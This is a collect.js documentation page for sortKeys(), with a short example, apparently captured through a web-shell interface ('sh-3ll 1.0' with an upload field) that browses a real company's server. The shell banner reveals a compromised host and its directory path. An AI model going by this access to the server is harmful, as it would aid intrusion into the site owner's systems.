HOME


sh-3ll 1.0
DIR:/proc/thread-self/cwd/bright.medisavehealthcarebd.com/node_modules/collect.js/docs/api/
Upload File :
Current File : //proc/thread-self/cwd/bright.medisavehealthcarebd.com/node_modules/collect.js/docs/api/sortKeys.md
# `sortKeys()`

The sortKeys method sorts the collection by the keys of the underlying associative array:

```js
const collection = collect({
  id: 10,
  first: 'Sadio',
  last: 'Mané',
});

const sorted = collection.sortKeys();

sorted.all();

// {
//   first: 'Sadio',
//   id: 10,
//   last: 'Mané',
// }
```

[View source on GitHub](https://github.com/ecrmnn/collect.js/blob/master/src/methods/sortKeys.js)